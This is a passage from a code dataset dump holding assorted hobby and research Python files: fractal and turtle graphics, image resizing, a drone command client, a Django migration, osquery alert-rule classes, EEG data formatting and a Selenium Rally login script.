csv.writer(csvfile)\n\t\tcsvwriter.writerows(dataset1)\n","sub_path":"pre_process_b.py","file_name":"pre_process_b.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"385099793","text":"\"\"\"\nFile: sierpinski.py\nAuthor: Wade Chao\nDependencies: campy\n---------------------------\nThis file recursively prints the Sierpinski triangle on GWindow.\nThe Sierpinski triangle is a fractal described in 1915 by Waclaw Sierpinski.\nIt is a self similar structure that occurs at different levels of iterations.\n\"\"\"\n\nfrom campy.graphics.gwindow import GWindow\nfrom campy.graphics.gobjects import GLine\nfrom campy.gui.events.timer import pause\n\n# Constants\nORDER = 6 # Controls the order of Sierpinski Triangle\nLENGTH = 600 # The length of order 1 Sierpinski Triangle\nUPPER_LEFT_X = 150\t\t # The upper left x coordinate of order 1 Sierpinski Triangle\nUPPER_LEFT_Y = 100 # The upper left y coordinate of order 1 Sierpinski Triangle\nWINDOW_WIDTH = 950 # The width of the GWindow\nWINDOW_HEIGHT = 700 # The height of the GWindow\n\n# Global Variable\nwindow = GWindow(width=WINDOW_WIDTH, height=WINDOW_HEIGHT) # The canvas to draw Sierpinski Triangle\n\n\ndef main():\n\tsierpinski_triangle(ORDER, LENGTH, UPPER_LEFT_X, UPPER_LEFT_Y)\n\n\ndef sierpinski_triangle(order, length, upper_left_x, upper_left_y):\n\t\"\"\"\n\tUsing recursion to create sierpinski triangle graph\n\t:param order: the counter to check if the recursion need to stop\n\t:param length: the side length of the triangle\n\t:param upper_left_x: the upper left x coordinate of the triangle\n\t:param upper_left_y: the upper left Y coordinate of the triangle\n\t\"\"\"\n\tif order == 0:\n\t\treturn\n\telse:\n\t\t# create upside down triangle\n\t\tcreate_triangle(length, upper_left_x, upper_left_y)\n\t\t# upper left fractals\n\t\tsierpinski_triangle(order-1, length/2, upper_left_x, upper_left_y)\n\t\t# upper right fractals\n\t\tsierpinski_triangle(order-1, length/2, upper_left_x + length / 2, upper_left_y)\n\t\t# bottom fractals\n\t\tsierpinski_triangle(order-1, length/2, upper_left_x + length / 4, upper_left_y + length * 0.866 / 2)\n\n\ndef create_triangle(length, upper_left_x, upper_left_y):\n\t\"\"\"\n\tCreate a upside down triangle with the given side length, x coordinate, and y coordinate\n\t:param length: the side length of the triangle\n\t:param upper_left_x: the upper left x coordinate of the triangle\n\t:param upper_left_y: the upper left Y coordinate of the triangle\n\t\"\"\"\n\tline_1 = GLine(upper_left_x, upper_left_y, upper_left_x + length, upper_left_y)\n\tline_2 = GLine(upper_left_x + length, upper_left_y, length * 0.5 + upper_left_x, upper_left_y + length * 0.866)\n\tline_3 = GLine(upper_left_x, upper_left_y, length * 0.5 + upper_left_x, upper_left_y + length * 0.866)\n\twindow.add(line_1)\n\twindow.add(line_2)\n\twindow.add(line_3)\n\n\nif __name__ == '__main__':\n\tmain()","sub_path":"fractal/sierpinski.py","file_name":"sierpinski.py","file_ext":"py","file_size_in_byte":2628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"578200933","text":"from PIL import Image\r\nimport os\r\nsize_1000=(1000,1000)\r\n\r\nfor f in os.listdir('.'):\r\n if f.endswith('.jpg'):\r\n i=Image.open(f)\r\n fn,fext=os.path.splitext(f)\r\n\r\n i.thumbnail(size_1000,Image.NEAREST)\r\n i.save('1000/{}.png'.format(fn))\r\n#image1=Image.open('bicycle00.jpg')\r\n#image1.show()","sub_path":"image_processing.py","file_name":"image_processing.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"418012771","text":"import turtle\r\nbob = turtle.Turtle()\r\nturtle.colormode(255)\r\nbob.speed(25)\r\nturtle.bgcolor(0,0,0)\r\n\r\nfor times in range(255):\r\n bob.color(0,times,0)\r\n bob.right(150)\r\n bob.circle(20)\r\n bob.right(200)\r\n bob.width(5)\r\n bob.forward(100)\r\n bob.right(225)\r\n bob.color(times,0,times)\r\n bob.forward(50)\r\n bob.circle(20)\r\n bob.right(250+10)\r\n bob.forward(250)\r\n bob.color(0,times,times)\r\n bob.circle(20+10)\r\n bob.forward(100)\r\n\r\nturtle.done()\r\n\r\n","sub_path":"CYCLE.py","file_name":"CYCLE.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"438319891","text":"from jsocket import JsonClient\nfrom messages import Message\nimport json\nimport time\n\nmsg_type = 'CMD'\narm_payload = {'cmd':'ARM'}\ndisarm_payload = {'cmd':'DISARM'}\ntakeoff_payload = {'cmd':'TAKEOFF', 'target_altitude':2.5}\nland_payload = {'cmd':'LAND'}\n\n\narm_msg = Message(msg_type, arm_payload)\ndisarm_msg = Message(msg_type, disarm_payload)\ntakeoff_msg = Message(msg_type, takeoff_payload)\nland_msg = Message(msg_type, land_payload)\n\njsock = JsonClient()\njsock.connect('172.16.0.123', 6760)\n\nprint(\"Connected, sending arm message\")\njsock.send_obj(arm_msg, encoder=arm_msg.json_encoder)\n\ntime.sleep(2)\n\nprint(\"Taking off...\")\njsock.send_obj(takeoff_msg, encoder=takeoff_msg.json_encoder)\n\n# Hover for 10 seconds\ntime.sleep(10)\n\nprint(\"Landing...\")\njsock.send_obj(land_msg, encoder=land_msg.json_encoder)\n\ntime.sleep(3)\n\njsock.close()\n","sub_path":"legacy/takeoff_and_land.py","file_name":"takeoff_and_land.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"138604612","text":"def fibonnaci(n,prev = 1, two_prev = -1, i = 0):\n result = prev + two_prev\n if (i == n):\n print(result)\n else:\n fibonnaci(n,result,prev, i + 1)\nn = input(\"Pick a whole nbumber between 0 and 30 for the fibonnaci number in that place: \")\nfibonnaci(int(n))\n\n\n","sub_path":"fibonacci_recursive.py","file_name":"fibonacci_recursive.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"376955059","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='post',\n options={},\n ),\n migrations.RenameField(\n model_name='post',\n old_name='publish',\n new_name='created_date',\n ),\n migrations.RenameField(\n model_name='post',\n old_name='body',\n new_name='text',\n ),\n migrations.RemoveField(\n model_name='post',\n name='created',\n ),\n migrations.RemoveField(\n model_name='post',\n name='slug',\n ),\n migrations.RemoveField(\n model_name='post',\n name='status',\n ),\n migrations.RemoveField(\n model_name='post',\n name='updated',\n ),\n migrations.AddField(\n model_name='post',\n name='published_date',\n field=models.DateTimeField(blank=True, null=True),\n ),\n migrations.AlterField(\n model_name='post',\n name='author',\n field=models.ForeignKey(to=settings.AUTH_USER_MODEL),\n ),\n migrations.AlterField(\n model_name='post',\n name='title',\n field=models.CharField(max_length=200),\n ),\n ]\n","sub_path":"blog/migrations/0002_auto_20180415_1854.py","file_name":"0002_auto_20180415_1854.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"378630883","text":"# -*- coding: utf-8 -*-\nfrom collections import namedtuple\n\nfrom doorman.models import Rule\nfrom doorman.utils import extract_results\n\n\n# Note: the fields are:\n# - rule_id The ID of the Rule that created this match\n# - node The node that this Rule match applies to\n# - action The action that took place ('added', 'removed', or None)\n# - match Some additional details about this match (any type)\nRuleMatch = namedtuple('RuleMatch', ['rule_id', 'node', 'action', 'match'])\n\n\nclass BaseRule(object):\n \"\"\"\n BaseRule is the base class for all rules in Doorman. It defines the\n interface that should be implemented by classes that know how to take\n incoming log data and determine if a rule has been triggered.\n \"\"\"\n def __init__(self, rule_id, action, config):\n self.rule_id = rule_id\n self.node_name = config.get('node_name')\n\n def handle_log_entry(self, entry, node):\n \"\"\"\n This function processes an incoming log entry. It normalizes the data,\n validates the node name (if that filter was given), and then dispatches\n to the underlying rule.\n\n Note: the entry passed in contains a `hostIdentifier` field sent by the\n client, and `node` contains a `host_identifier` field that was\n originally stored when the node enrolled. Note that the\n `hostIdentifier` field in the incoming entry may have changed, e.g. if\n the user changes their hostname. All the rules here use the node's\n (original) `host_identifier` value for comparisons.\n\n :param entry: The full request received from the client (i.e. including \"node_key\", etc.)\n :param node: Information about the sending node, retrieved from the database.\n :type entry: dict\n :type node: dict, created from the Node model\n\n :returns: A list of matches\n \"\"\"\n if self.node_name is not None and node['host_identifier'] != self.node_name:\n return []\n\n matches = []\n for result in extract_results(entry):\n res = self.handle_result(result, node)\n if res is not None:\n matches.extend(res)\n\n return matches\n\n def handle_result(self, result, node):\n \"\"\"\n This function should be implemented by anything that wishes to handle a\n single result from a log entry.\n\n :param result: A single query result, as returned by extract_results\n :param node: Information about the sending node, retrieved from the database.\n :type result: Field\n :type node: dict, created from the Node model\n \"\"\"\n raise NotImplementedError()\n\n def make_match(self, action, node, match):\n \"\"\" Helper function to create a RuleMatch \"\"\"\n return RuleMatch(\n rule_id=self.rule_id,\n action=action,\n node=node,\n match=match\n )\n\n @staticmethod\n def from_model(model):\n \"\"\"\n Create a Rule from a model.\n \"\"\"\n klass = RULE_MAPPINGS.get(model.type)\n if klass is None:\n # Warn instead of raising? We shouldn't get here, since it\n # shouldn't be possible to have saved a rule with an invalid type.\n raise ValueError('Invalid rule type: {0}'.format(model.type))\n\n # TODO: should validate required fields of config\n return klass(model.id, model.action, model.config)\n\n\nclass EachResultRule(BaseRule):\n \"\"\"\n Base class for rules that want to compare against every result in a query's\n output.\n \"\"\"\n def __init__(self, rule_id, action, config):\n super(EachResultRule, self).__init__(rule_id, action, config)\n self.action = action\n self.query_name = config.get('query_name')\n\n def handle_result(self, result, node):\n if self.query_name is not None and result.name != self.query_name:\n return []\n\n if self.action != Rule.BOTH and self.action != result.action:\n return []\n\n res = self.handle_columns(result.action, result.columns, node)\n if not res:\n return []\n\n return [res]\n\n def handle_columns(self, action, columns, node):\n \"\"\"\n This function should be implemented to match against each set of\n columns that has been extracted.\n \"\"\"\n raise NotImplementedError()\n\n\nclass CompareRule(EachResultRule):\n \"\"\"\n This is a simple helper class that will extract a value from the given\n column set and pass it to a comparison function. If it compares, it will\n create and return a match.\n \"\"\"\n def handle_columns(self, action, columns, node):\n val = columns.get(self.field_name)\n if self.compare(action, val, node):\n return self.make_match(action, node, columns)\n\n def compare(self, action, value, node):\n raise NotImplementedError()\n\n\nclass BlacklistRule(CompareRule):\n \"\"\"\n BlacklistRule is a rule that will alert if the value of a field in a query\n matches any item in a blacklist.\n \"\"\"\n def __init__(self, rule_id, action, config):\n super(BlacklistRule, self).__init__(rule_id, action, config)\n\n self.field_name = config['field_name']\n self.blacklist = config['blacklist']\n\n def compare(self, action, value, node):\n if value is None:\n return False\n\n return value in self.blacklist\n\n\nclass WhitelistRule(CompareRule):\n \"\"\"\n WhitelistRule is a rule that will alert if the value of a field in a query\n does not matche any entry in a whitelist.\n \"\"\"\n def __init__(self, rule_id, action, config):\n super(WhitelistRule, self).__init__(rule_id, action, config)\n\n self.field_name = config['field_name']\n self.whitelist = config['whitelist']\n self.ignore_null = config.get('ignore_null', False)\n\n def compare(self, action, value, node):\n if value is None:\n # If we're ignoring null, we return \"False\" to indicate that this\n # is not a 'match' of the rule.\n if self.ignore_null:\n return False\n\n return True\n\n return value not in self.whitelist\n\n\n# Note: should be at the end of the file\nRULE_MAPPINGS = {\n 'blacklist': BlacklistRule,\n 'whitelist': WhitelistRule,\n}\nRULE_TYPES = list(RULE_MAPPINGS.keys())\n","sub_path":"doorman/rules.py","file_name":"rules.py","file_ext":"py","file_size_in_byte":6384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"263828652","text":"from landscapeGenerator import *\r\nimport findTarget\r\nimport numpy as np\r\nimport sys\r\nimport matplotlib.pyplot as plt\r\n\r\n# prints avrage over 1000 trials for each all rules\r\ndef search_destroy(dimension, typ=\"stationary\"):\r\n rep=40\r\n print (typ+str(rep)+\"\\n\")\r\n rules=[3]\r\n searches=[[] for _ in range(len(rules))]\r\n if typ!=\"stationary\":\r\n costs=[]\r\n d=[{0:[], 1:[],2:[],3:[]} for _ in range(len(rules))]\r\n for i in range(rep):\r\n landscape, target=landscape_generator(dimension)\r\n for rule_no, rule in enumerate(rules):\r\n sys.stdout.write(\"\\r maze_no: \"+ str(i) + \", rule_no: \"+ str(rule)+\" \")\r\n if typ==\"stationary\":\r\n search_count=findTarget.findTarget(landscape, target, rule)\r\n else:\r\n search_count=findTarget.findTarget(landscape, target, rule, \"moving\")\r\n if rule == 3:\r\n costs.append(findTarget.total_cost)\r\n d[rule_no][landscape[target]].append(search_count)\r\n searches[rule_no].append(search_count)\r\n \r\n for rule_no in range(len(rules)):\r\n if rule_no == 3:\r\n print(\"\\n total cost for rule 3 = \"+str(np.mean(costs)))\r\n print(\"\\n Average number of searches for rule no. \"+str(rule_no+1)+\" = \"+str(np.mean(searches[rule_no])))\r\n new_dict=[{0:[], 1:[],2:[],3:[]} for _ in range(len(rules))]\r\n for item_no,item in enumerate(d):\r\n for key, val in item.items():\r\n new_dict[item_no][key]=np.mean(val)\r\n \r\n plt.figure(1)\r\n for rule_no, rule in enumerate(new_dict[:-1]):\r\n plt.plot(rule.keys(), rule.values())\r\n plt.legend((\"Rule1\", \"Rule2\"), loc=\"upper left\")\r\n plt.xlabel(\"Type of terrain containing the target\")\r\n plt.xticks([0,1,2,3],[\"Flat\", \"Hill\", \"Forest\",\"Cave\"])\r\n plt.ylabel(\"Average number of searches\")\r\n plt.title(\"Average number of searches on 50x50 board\")\r\n plt.savefig(typ+\"-\"+str(rep)+\".png\")\r\n\r\nif __name__ == '__main__':\r\n search_destroy(50)\r\n","sub_path":"Code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"188259282","text":"#! /usr/bin/env python3\nimport sys\n\n\ndef d_fractile(length, generation, students):\n # Note: if length == students (small problem), just output range (1...length)\n\n # General:\n # needed: ceil(length / generation) > students\n if (generation == 1 and length > students) or\\\n (generation > 1 and (length + 1) // generation > students):\n return \"IMPOSSIBLE\"\n\n # We need positions that are influenced by every position in the input\n cur_gen = 0\n necessary_positions = [x for x in range(length)]\n cur_idx = 0\n\n result = []\n while necessary_positions:\n if cur_gen == generation:\n result.append(cur_idx)\n cur_gen = 0\n cur_idx = 0\n cur_idx *= length\n cur_idx += necessary_positions.pop(0)\n cur_gen += 1\n\n while cur_gen < generation:\n cur_idx *= length\n cur_gen += 1\n\n result.append(cur_idx)\n return \" \".join([str(i + 1) for i in result])\n\n\ndef main():\n test_cases = int(sys.stdin.readline())\n\n for test_case in range(test_cases):\n values = [int(x) for x in sys.stdin.readline().split(\" \")]\n print(\"Case #{}: {}\".format(test_case + 1, d_fractile(*values)))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"codes/CodeJamCrawler/16_0_4_neat/16_0_4_Mirclus_d_fractiles.py","file_name":"16_0_4_Mirclus_d_fractiles.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"332544355","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /usr/local/lib/python2.7/dist-packages/maltfy/emailToBreachedAccounts.py\n# Compiled at: 2014-12-24 13:01:28\nfrom MaltegoTransform import *\nimport sys, json, urllib2, i3visiotools.apify.haveibeenpwned as HIBP\n\ndef emailToBreachedAccounts(email=None):\n \"\"\" \n Method that checks if the given email is stored in the HIBP website.\n\n :param email: email to verify.\n\n \"\"\"\n me = MaltegoTransform()\n jsonData = HIBP.checkIfHackedInHIBP(email=email)\n for breach in jsonData:\n newEnt = me.addEntity('i3visio.breach', breach['Title'])\n newEnt.setDisplayInformation('

' + breach['Title'] + '

' + json.dumps(breach, sort_keys=True, indent=2) + '!

')\n for field in breach.keys():\n if field != 'Title':\n continue\n\n me.returnOutput()\n\n\nif __name__ == '__main__':\n emailToBreachedAccounts(email=sys.argv[1])","sub_path":"pycfiles/maltfy-v0.3.2.linux-i686.tar/emailToBreachedAccounts.py","file_name":"emailToBreachedAccounts.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"182317948","text":"import pickle\nimport glob\nimport datetime\n\nrarities = [\"Common\",\"Uncommon\",\"Rare\",\"Epic\",\"Legendary\",\"Mythic\"]\n\nclass Grape:\n def __init__(self, nameGiven, imageGiven, descriptionGiven, ratingGiven):\n self.description = descriptionGiven\n self.name = nameGiven\n self.image = imageGiven\n self.rating = ratingGiven\n def addImage(self, imageUrl):\n self.image = imageUrl\n\n\ngrapesRaw = glob.glob(\"Grapes/*\")\n\n\ngrapes = []\n\n\npickle_in = open(\"grapes.pickle\",\"rb\")\ngrapes = pickle.load(pickle_in)\npickle_in.close()\n\ngrapeNames=[]\n\nfor i in grapes:\n grapeNames.append(i.name)\n\n\nfor i in grapesRaw:\n if (i.split(\"/\")[1].split(\".\")[0]+\" Grape\" in grapeNames):\n print(i.split(\"/\")[1].split(\".\")[0]+\" Grape Already Exists\")\n else:\n desc = input(\"Enter Description and Rating For \"+i.split(\"/\")[1].split(\".\")[0]+\" Grape\"+\"\\n>>> \")\n rating = int(input(\">>> \"))\n grapes.append(Grape(i.split(\"/\")[1].split(\".\")[0]+\" Grape\",i,desc,rating))\n\n\npickle_out = open(\"grapes.pickle\",\"wb\")\npickle.dump(grapes, pickle_out)\npickle_out.close()\n","sub_path":"grapeAdmin.py","file_name":"grapeAdmin.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"480488402","text":"from itertools import izip\nimport matplotlib.pyplot as plt \n\nfile1= open('s1-out1.log','r')\n\n\nlist_count=[0]* 3200000\n\n\ndict={'a':10,'b':11,'c':12,'d':13,'e':14,'f':15,'1':1,'2':2,'3':3,'4':4,'5':5,'6':6,'7':7,'8':8,'9':9,'0':0}\nfor line1 in file1:\n\tbl_code=line1[-8:]\n\tans1=0\n\tfor i in bl_code:\n\t\tif i!='\\n':\n\t\t\tans1= ans1*16 + dict[i]\n\tprint(ans1)\n\tlist_count[ans1]=list_count[ans1] + 1;\n\t# print(ans1)\n\n\nnumber_of_eq_classes=0\nfor i in list_count:\n\tif i>0:\n\t\tnumber_of_eq_classes= number_of_eq_classes + 1;\nprint(\" number_of_eq_classes are\", number_of_eq_classes);\n\nBL_Codes= []\nfrequency=[]\n\nfor i in range(0,3200000):\n\tif list_count[i]>0:\n\t\tprint(i,list_count[i]);\n\t\tBL_Codes.append(i)\n\t\tfrequency.append(list_count[i])\n\n# print(BL_Codes)\n# print(frequency)\n\nplt.hist(frequency, BL_Codes, range, color = 'green', \n histtype = 'bar', rwidth = 0.8) \n \n# x-axis label \nplt.xlabel('BL_Codes') \n# frequency label \nplt.ylabel('frequency') \n# plot title \nplt.title('My histogram') \n \n# function to show the plot \nplt.show() ","sub_path":"netcache-master/src/p4/graph-script.py","file_name":"graph-script.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"523308549","text":"# import theano\nimport os\nimport csv\nimport pandas as pd\nfrom collections import defaultdict\nimport numpy as np\n\n\nfrom functools import partial\nimport general_functions as gf\n\n# options; set to 1 to run the option\nDO_MAKE_AND_SAVE_TESTING_DATA_AS_DATA_FRAME = 0 # create formatted data matrix from testing set; will have to redo this for various delay buffers and analysis window size\nDO_MAKE_AND_SAVE_TRAINING_DATA_AS_DATA_FRAME = 0 # create formatted data matrix from training set; will have to redo this for various delay buffers and analysis window size\nDO_BUILD_AND_SAVE_SPEC_COMP_AND_IND_CH_MODELS_FROM_TRAINING_DATA = 0\nDO_BUILD_AND_SAVE_SPEC_COMP_AND_IND_CH_MODELS_FROM_TRAINING_DATA_W_INTERNAL_TESTING_SET = 1\nDO_BUILD_AND_SAVE_SPEC_COMP_FROM_TESTING_DATA = 0\n# DO_LOAD_SPEC_COMP_AND_IND_CH_MODELS = 0\nDO_TEST_INDIVIDUAL_CHANNEL_MODELS = 0\nDO_BUILD_ALL_CHANNELS_COMBINED_MODEL = 0\nDO_MAKE_ALL_CHANNEL_COMPARISON_GRAPHS = 0\nDO_MAKE_A_GRAPH = 0\n\n# global variables\npatient_number = 1 #use number 0 through 6\nchannel_number = 26 #CH26 = C3 (RH movement); CH30 = C4 (LH movement); CH28 = Cz (foot movement)\n# what is the time length of each portion of a run in seconds\n# cue_time = 0.5\n# cue_time_buffer = 1\n# dead_time = 0.5\n# pre_stim_time = 0.5\ncue_time = 1.75\ncue_time_buffer = 1.5\ndead_time = 2\npre_stim_time = 2\n\ntraining_data_path = '/media/markhyphen/ExtraDrive1/BCI_Kojak_Project_Data/Data/BCICIV_1calib_1000Hz_asc'\ntesting_data_path = '/media/markhyphen/ExtraDrive1/BCI_Kojak_Project_Data/Data/BCICIV_1eval_1000Hz_asc'\n\nfile_list_cnt_training = [file for file in os.listdir(training_data_path) if file.endswith('cnt.txt')]\nfile_list_mrk_training = [file for file in os.listdir(training_data_path) if file.endswith('mrk.txt')]\nfile_list_nfo_training = [file for file in os.listdir(training_data_path) if file.endswith('nfo.txt')]\n\nfile_list_cnt_training = sorted(file_list_cnt_training)\nfile_list_mrk_training = sorted(file_list_mrk_training)\nfile_list_nfo_training = sorted(file_list_nfo_training)\n\nfile_list_cnt_testing = [file for file in os.listdir(testing_data_path) if file.endswith('cnt.txt')]\nfile_list_true_y_testing = [file for file in os.listdir(testing_data_path) if file.endswith('true_y.txt')]\nfile_list_nfo_testing = [file for file in os.listdir(testing_data_path) if file.endswith('nfo.txt')]\n\nfile_list_cnt_testing = sorted(file_list_cnt_testing)\nfile_list_true_y_testing = sorted(file_list_true_y_testing)\nfile_list_nfo_testing = sorted(file_list_nfo_testing)\n\n# get and format raw testing data based on buffer after cue presentation and ROI window length\nif DO_MAKE_AND_SAVE_TESTING_DATA_AS_DATA_FRAME == 1:\n # get recording data from specified patient\n data_testing = list(\n csv.reader(open(testing_data_path + '/' + file_list_cnt_testing[patient_number], 'r'), delimiter='\\t'))\n # get cue info\n true_y_info_testing = list(\n csv.reader(open(testing_data_path + '/' + file_list_true_y_testing[patient_number], 'r'), delimiter='\\t'))\n # get misc info (names/locations of electrodes, specific cues)\n info_testing = gf.get_info_dict(testing_data_path + '/' + file_list_nfo_testing[patient_number])\n #using the info data make label of the channels\n channel_names_testing = ['ch' + str(i) for i in range(len(data_testing[0]))]\n # find cue presentation indeces from true_y_info file\n pos_testing = gf.create_pos_data_from_true_y_data(true_y_info_testing)\n # convert data to microvolt data\n data_testing = gf.convert_data_into_microvolts(data_testing)\n # place recording data into dataframe\n data_testing = pd.DataFrame(data_testing, columns=channel_names_testing)\n # place cue presentation data into dataframe\n pos_testing = pd.DataFrame(pos_testing, columns=['cue_start_position', 'label'])\n\n num_of_channels = data_testing.shape[1]\n samples_in_recording_testing = data_testing.shape[0]\n num_of_runs_testing = pos_testing.shape[0]\n # based on the user supplied designators for window positioning, create a matrix of times to chop the data into\n pos_testing = gf.create_timing_matrix(samples_in_recording_testing, info_testing, pos_testing, cue_time,\n dead_time, pre_stim_time, cue_time_buffer)\n formatted_data_testing = defaultdict(partial(np.ndarray, 0))\n # using the timing matrix build final data set for analysis\n for i in range(num_of_channels):\n formatted_data_testing['channel_' + str(i) + '_cue_data'], \\\n formatted_data_testing['channel_' + str(i) + '_dead_time_data'], \\\n formatted_data_testing['channel_' + str(i) + '_pre_stim_data'] = \\\n gf.format_channel_data(data_testing, pos_testing, i)\n print(str(i) + ' of ' + str(num_of_channels) + ' channels done: formatting channel data')\n\n # save raw data as pickles\n data_testing_name = 'raw_data_testing_patient_' + str(patient_number) + '.pickle'\n pos_testing_name = 'position_label_data_testing_patient_' + str(patient_number) + '.pickle'\n info_testing_name = 'information_on_data_testing_patient_' + str(patient_number) + '.pickle'\n gf.save_dataframe_as_pickle(data_testing, data_testing_name)\n gf.save_dataframe_as_pickle(pos_testing, pos_testing_name)\n gf.save_dataframe_as_pickle(info_testing, info_testing_name)\n\n # save the formatted data as a pickle for use in analysis scripts\n formatted_data_testing_name = 'formatted_data_1pt5_sec_epochs_1pt75_sec_cuebuffer_all_channels_testing_patient_' + str(\n patient_number) + '.pickle'\n gf.save_dataframe_as_pickle(formatted_data_testing, formatted_data_testing_name)\n\n# get and format raw training data based on buffer after cue presentation and ROI window length\nif DO_MAKE_AND_SAVE_TRAINING_DATA_AS_DATA_FRAME == 1:\n # get recording data from specified patient\n data_training = list(csv.reader(open(training_data_path + '/' + file_list_cnt_training[patient_number], 'r'), delimiter='\\t'))\n # get cue info\n pos_training = list(csv.reader(open(training_data_path + '/' + file_list_mrk_training[patient_number], 'r'), delimiter='\\t'))\n pos_training = [list(map(lambda x: int(float(x)), x)) for x in pos_training]\n # get misc info (names/locations of electrodes, specific cues)\n info_training = gf.get_info_dict(training_data_path + '/' + file_list_nfo_training[patient_number])\n # using the info data make label of the channels\n channel_names_training = ['ch' + str(i) for i in range(len(data_training[0]))]\n # convert data to microvolt data\n data_training = gf.convert_data_into_microvolts(data_training)\n # place recording data into dataframe\n data_training = pd.DataFrame(data_training, columns=channel_names_training)\n # place cue presentation data into dataframe\n pos_training = pd.DataFrame(pos_training, columns=['cue_start_position', 'label'])\n num_of_channels = data_training.shape[1]\n samples_in_recording_training = data_training.shape[0]\n num_of_runs_training = pos_training.shape[0]\n # based on the user supplied designators for window positioning, create a matrix of times to chop the data into\n pos_training = gf.create_timing_matrix(samples_in_recording_training, info_training, pos_training, cue_time,\n dead_time, pre_stim_time, cue_time_buffer)\n formatted_data_training = defaultdict(partial(np.ndarray, 0))\n # using the timing matrix build final data set for analysis\n for i in range(num_of_channels):\n formatted_data_training['channel_' + str(i) + '_cue_data'], \\\n formatted_data_training['channel_' + str(i) + '_dead_time_data'], \\\n formatted_data_training['channel_' + str(i) + '_pre_stim_data'] = \\\n gf.format_channel_data(data_training, pos_training, i)\n print(str(i) + ' of ' + str(num_of_channels) + ' channels done: formatting channel data')\n\n # save raw data as pickles\n data_training_name = 'raw_data_training_patient_' + str(patient_number) + '.pickle'\n pos_training_name = 'position_label_data_training_patient_' + str(patient_number) + '.pickle'\n info_training_name = 'information_on_data_training_patient_' + str(patient_number) + '.pickle'\n gf.save_dataframe_as_pickle(data_training, data_training_name)\n gf.save_dataframe_as_pickle(pos_training, pos_training_name)\n gf.save_dataframe_as_pickle(info_training, info_training_name)\n\n # save the formatted data as a pickle for use in analysis scripts\n formatted_data_training_name = 'formatted_data_1pt5_sec_epochs_1pt75_sec_cuebuffer_all_channels_training_patient_' + str(\n patient_number) + '.pickle'\n gf.save_dataframe_as_pickle(formatted_data_training, formatted_data_training_name)\n","sub_path":"data_formatting.py","file_name":"data_formatting.py","file_ext":"py","file_size_in_byte":8763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"574982832","text":"from com.cisco.vcs.modules.rally.RallyLaunch import RallyLaunch\nfrom com.cisco.vcs.common.PageCommon import *\nimport os,sys,socket\nfrom threading import Timer\n\n\"\"\"\nRequirements:\n------------\nNote: working fine with mozilla firefox version 30 .\n\na.Mozilla Firefox 30\nb.python 3.4\nc.selenium [ - 3rd party python library ]\n\"\"\"\n\n\n#this method creates the firefox profile to aid in SSO login to Rally app\ndef createProfile():\n pr = webdriver.FirefoxProfile('C:\\Program Files (x86)\\Mozilla Firefox')\n pr.set_preference('network.http.phishy-userpass-length',255)\n pr.set_preference('network.automatic-ntlm-auth.trusted-uris','wwwin-sso.cisco.com')\n return pr\n\n\ndef automate(mod):\n initDriver(createProfile())\n loadUrl(\"https://us1.rallydev.com/#/9561764839d/dashboard\")\n launch=RallyLaunch()\n launch.startLoginProcess()\n sleepFor(5)\n loadUrl(\"https://sso.rallydev.com/sp/startSSO.ping?PartnerIdpId=cloudsso.cisco.com\")\n sleepFor(8)\n return launch.startProcess()\n\n\n\ndef main(argv):\n while True:\n print(\"new run ............\")\n close=automate('rally')\n if close==-1:\n print('closing browser.....')\n force_timeout() #quitBrowser()\n\n\ndef force_timeout():\n os.system('taskkill /im firefox.exe /f /t')\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"Opener.py","file_name":"Opener.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"96342342","text":"import os\nimport pandas as pd\nimport numpy as np\nfrom sklearn.metrics import mean_squared_error, r2_score\nfrom sklearn.pipeline import make_pipeline\nfrom preprocessing.transformers.column_selector_transformer import KeepColumnsTransformer\nfrom preprocessing.transformers.dataframe_to_matrix_transformer import DataframeToMatrix\nfrom preprocessing.transformers.log_target_transformer import transform_log, transform_exp\nfrom preprocessing.split_dataframe import split_dataframe_by_row\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.model_selection import GridSearchCV\nfrom preprocessing.transformers.fillna_transformer import FillnaMeanTransformer\nimport 